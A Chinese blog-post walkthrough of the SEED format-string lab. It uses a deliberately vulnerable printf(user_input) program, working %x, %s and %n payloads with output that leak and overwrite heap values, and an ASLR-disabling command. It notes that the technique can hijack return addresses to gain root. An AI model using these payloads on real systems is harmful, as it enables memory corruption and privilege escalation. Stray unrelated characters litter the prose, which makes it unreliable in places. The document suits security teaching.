軟件安全-格式化字符串攻擊

探索C語言的可變長參數(shù)

C語言標(biāo)準(zhǔn)庫中頭文件stdarg.h索引的接口包含了一組能夠遍歷變長參數(shù)列表的宏。 主要包含下面幾個:

  1. va_list 用來聲明一個表示參數(shù)表中各個參數(shù)的變量
  2. va_start 初始化一個指針來指向變長參數(shù)列表的頭一個變量
  3. va_arg每次調(diào)用時都會返回當(dāng)前指針指向的變量介杆,并將指針挪至下一個位置,va_arg根據(jù)第二個參數(shù)類型來判斷偏移的距離
  4. va_end需要在函數(shù)最后調(diào)用轻纪,來進(jìn)行一些清理工作

觀察my_print函數(shù)是如何實(shí)現(xiàn)可變長參數(shù)的?

root@gt:/home/git/myRubbish/seedlab# ./a.out 
3.500000 
4.500000 5.500000 
root@gt:/home/git/myRubbish/seedlab# cat live5_func_arg.c 
#include <stdio.h>
#include <stdarg.h>
int myprint(int Narg,...)
{
    va_list ap;
    int i;
    va_start(ap,Narg);

    for(i = 0;i < Narg;i++)
    {
        //printf("%d ",va_arg(ap,int));
        printf("%f ",va_arg(ap,double));
    }
    printf("\n");
    va_end(ap);
}

int main()
{
    myprint(1,2,3.5);
    myprint(2,3,4.5,4,5.5);
    return 1;
}

printf庫函數(shù)的底層實(shí)現(xiàn)是什么樣的?

int __printf(const char* format,...)
{
    va_list arg;
    int done;

    va_start(arg,format);
    done = vfprintf(stdout,format,arg);
    va_end(arg);

    return done;
}

printf缺失參數(shù)會發(fā)生什么?

root@gt:/home/git/myRubbish/seedlab/live5# ./a.out 
ID:100 ,name:ailx10 ,age:-828258536 
root@gt:/home/git/myRubbish/seedlab/live5# cat arg_missmatch.c 
#include <stdio.h>
int main()
{
    int id = 100;
    int age = 25;
    char* name = "ailx10";

    printf("ID:%d ,name:%s ,age:%d \n",id,name);
    return 1;
}

格式化字符串漏洞程序

初始化實(shí)驗(yàn)環(huán)境: 關(guān)閉地址隨機(jī)化:sudo sysctl -w kernel.randomize_va_space=0

認(rèn)識常見的格式化字符:

常見的格式化字符
[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ ./a.out 
hello
a=5
[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ cat test.c 
#include <stdio.h>

int main()
{
    int a;
    printf("hello%n\n",&a);
    printf("a=%d\n",a);
    return 0;   
}

任務(wù):

  1. 打印secret[1]的值
  2. 修改secret[1]的值
  3. 修改secret[1]的值為任意指定值
/* vul_prog.c */
#include<stdio.h>
#include<stdlib.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret’s address is 0x%8x (on stack)\n",
(unsigned int)&secret);
printf("The variable secret’s value is 0x%8x (on heap)\n",
(unsigned int)secret);
printf("secret[0]’s address is 0x%8x (on heap)\n",
(unsigned int)&secret[0]);
printf("secret[1]’s address is 0x%8x (on heap)\n",
(unsigned int)&secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}

1.編譯運(yùn)行獲得如下結(jié)果:

[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
1
Please enter a string
%d,%d,%d,%d,%d,%d,%d
-1073745172,0,-1208008724,-1073745004,1,134524936,623666213
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

由結(jié)果可以推斷: printf 函數(shù)棧的第5個參數(shù)是int_input的值

2.我們修改int_input的值為secret[1]的地址會發(fā)生什么? 運(yùn)行獲得如下結(jié)果:

[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%d,%d,%d,%d,%s
-1073745172,0,-1208008724,-1073745004,U
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

由結(jié)果可以推斷:
字符U的ascii碼為0x55,
完成任務(wù)1:打印secret[1]的值.

3.試一試%n ? 運(yùn)行獲得如下結(jié)果:

[04/10/2018 22:58] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%n
bffff2ec,0,b7ff3fec,bffff394,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x1d

由結(jié)果可以推斷:
0x1d = 29,
(8+1)*3+(1+1) = 27 + 2 = 29.
修改secret[1]的值為29.完成任務(wù)2

4.試一試控制輸出寬度? 運(yùn)行獲得如下結(jié)果:

[04/10/2018 23:06] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%8x,%8x,%8x,%996u,%n
bffff2ec,       0,b7ff3fec,                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3221222292,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x400

由結(jié)果可以推斷:
0x400 = 1024,
(8+1)*3 + 996 = 1024.
修改secret[1]的值為指定的值1024.完成任務(wù)3.

升級難度

如果第一個scanf語句不存在,如何實(shí)現(xiàn)上面的3個任務(wù)?

堆棧結(jié)構(gòu)

1.試一試多打印幾個%08x ?

[04/10/2018 23:48] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a string
%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,
bffff2ec,00000000,b7ff3fec,bffff394,00000000,0804b008,78383025,3830252c,30252c78,252c7838,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

由上面的結(jié)果可知: 0804b008是secret的值,之后的78383025%08x的ascii碼.
secret地址之后是我們的user_input的字符串的ascii碼對應(yīng)的十六進(jìn)制.
根據(jù)這一信息,我們可以將目標(biāo)地址作為user_input的一部分放入椥蟀ぃ空間中.

2.試一試將secret[0]修改成1024 ?

[04/11/2018 00:58] seed@ubuntu:~/Seed$ ./a.out 
,%08x,%08x,%08x,%08x,%983u,%n
The string length is 33
[04/11/2018 00:59] seed@ubuntu:~/Seed$ ./vulp < mystring 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a string
?,bffff2ec,00000000,b7ff3fec,bffff394,                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      0,
The original secrets: 0x44 -- 0x55
The new secrets: 0x400 -- 0x55

格式化字符串攻擊的應(yīng)用

1.修改函數(shù)返回地址,實(shí)現(xiàn)緩沖區(qū)溢出攻擊,獲取root權(quán)限

2.修改函數(shù)返回地址,實(shí)現(xiàn)return to libc攻擊,獲取root權(quán)限

3.修改判斷語句的變量值,改變程序的執(zhí)行流,實(shí)現(xiàn)競爭漏洞攻擊,獲取root權(quán)限

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市叉橱,隨后出現(xiàn)的幾起案子胖烛,更是在濱河造成了極大的恐慌眼姐,老刑警劉巖,帶你破解...
    沈念sama閱讀 221,548評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件佩番,死亡現(xiàn)場離奇詭異众旗,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)趟畏,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,497評論 3 399
  • 文/潘曉璐 我一進(jìn)店門贡歧,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人赋秀,你說我怎么就攤上這事利朵。” “怎么了猎莲?”我有些...
    開封第一講書人閱讀 167,990評論 0 360
  • 文/不壞的土叔 我叫張陵绍弟,是天一觀的道長。 經(jīng)常有香客問我著洼,道長樟遣,這世上最難降的妖魔是什么而叼? 我笑而不...
    開封第一講書人閱讀 59,618評論 1 296
  • 正文 為了忘掉前任,我火速辦了婚禮豹悬,結(jié)果婚禮上葵陵,老公的妹妹穿的比我還像新娘。我一直安慰自己屿衅,他們只是感情好埃难,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,618評論 6 397
  • 文/花漫 我一把揭開白布莹弊。 她就那樣靜靜地躺著涤久,像睡著了一般。 火紅的嫁衣襯著肌膚如雪忍弛。 梳的紋絲不亂的頭發(fā)上响迂,一...
    開封第一講書人閱讀 52,246評論 1 308
  • 那天,我揣著相機(jī)與錄音细疚,去河邊找鬼蔗彤。 笑死,一個胖子當(dāng)著我的面吹牛疯兼,可吹牛的內(nèi)容都是我干的然遏。 我是一名探鬼主播,決...
    沈念sama閱讀 40,819評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼吧彪,長吁一口氣:“原來是場噩夢啊……” “哼待侵!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起姨裸,我...
    開封第一講書人閱讀 39,725評論 0 276
  • 序言:老撾萬榮一對情侶失蹤秧倾,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后傀缩,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體那先,經(jīng)...
    沈念sama閱讀 46,268評論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,356評論 3 340
  • 正文 我和宋清朗相戀三年赡艰,在試婚紗的時候發(fā)現(xiàn)自己被綠了售淡。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,488評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡慷垮,死狀恐怖勋又,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情换帜,我是刑警寧澤楔壤,帶...
    沈念sama閱讀 36,181評論 5 350
  • 正文 年R本政府宣布,位于F島的核電站惯驼,受9級特大地震影響蹲嚣,放射性物質(zhì)發(fā)生泄漏递瑰。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,862評論 3 333
  • 文/蒙蒙 一隙畜、第九天 我趴在偏房一處隱蔽的房頂上張望抖部。 院中可真熱鬧,春花似錦议惰、人聲如沸慎颗。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,331評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽俯萎。三九已至,卻和暖如春运杭,著一層夾襖步出監(jiān)牢的瞬間夫啊,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,445評論 1 272
  • 我被黑心中介騙來泰國打工辆憔, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留撇眯,地道東北人。 一個月前我還...
    沈念sama閱讀 48,897評論 3 376
  • 正文 我出身青樓虱咧,卻偏偏與公主長得像熊榛,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子腕巡,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,500評論 2 359

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理玄坦,服務(wù)發(fā)現(xiàn),斷路器逸雹,智...
    卡卡羅2017閱讀 134,696評論 18 139
  • 格式化字符串漏洞實(shí)驗(yàn)一营搅、 實(shí)驗(yàn)描述格式化字符串漏洞是由像 printf(user_input) 這樣的代碼引起的,...
    Magicknight閱讀 2,527評論 0 0
  • 第2章 基本語法 2.1 概述 基本句法和變量 語句 JavaScript程序的執(zhí)行單位為行(line)梆砸,也就是一...
    悟名先生閱讀 4,151評論 0 13
  • Lua 5.1 參考手冊 by Roberto Ierusalimschy, Luiz Henrique de F...
    蘇黎九歌閱讀 13,835評論 0 38
  • 今天下午多年沒來家里的表姐和姐夫來了转质。之前沒通知,到了樓下打的電話帖世。給我們一個驚喜休蟹。 多年沒見,多少有些尷尬日矫,不太...
    凱里木閱讀 106評論 0 0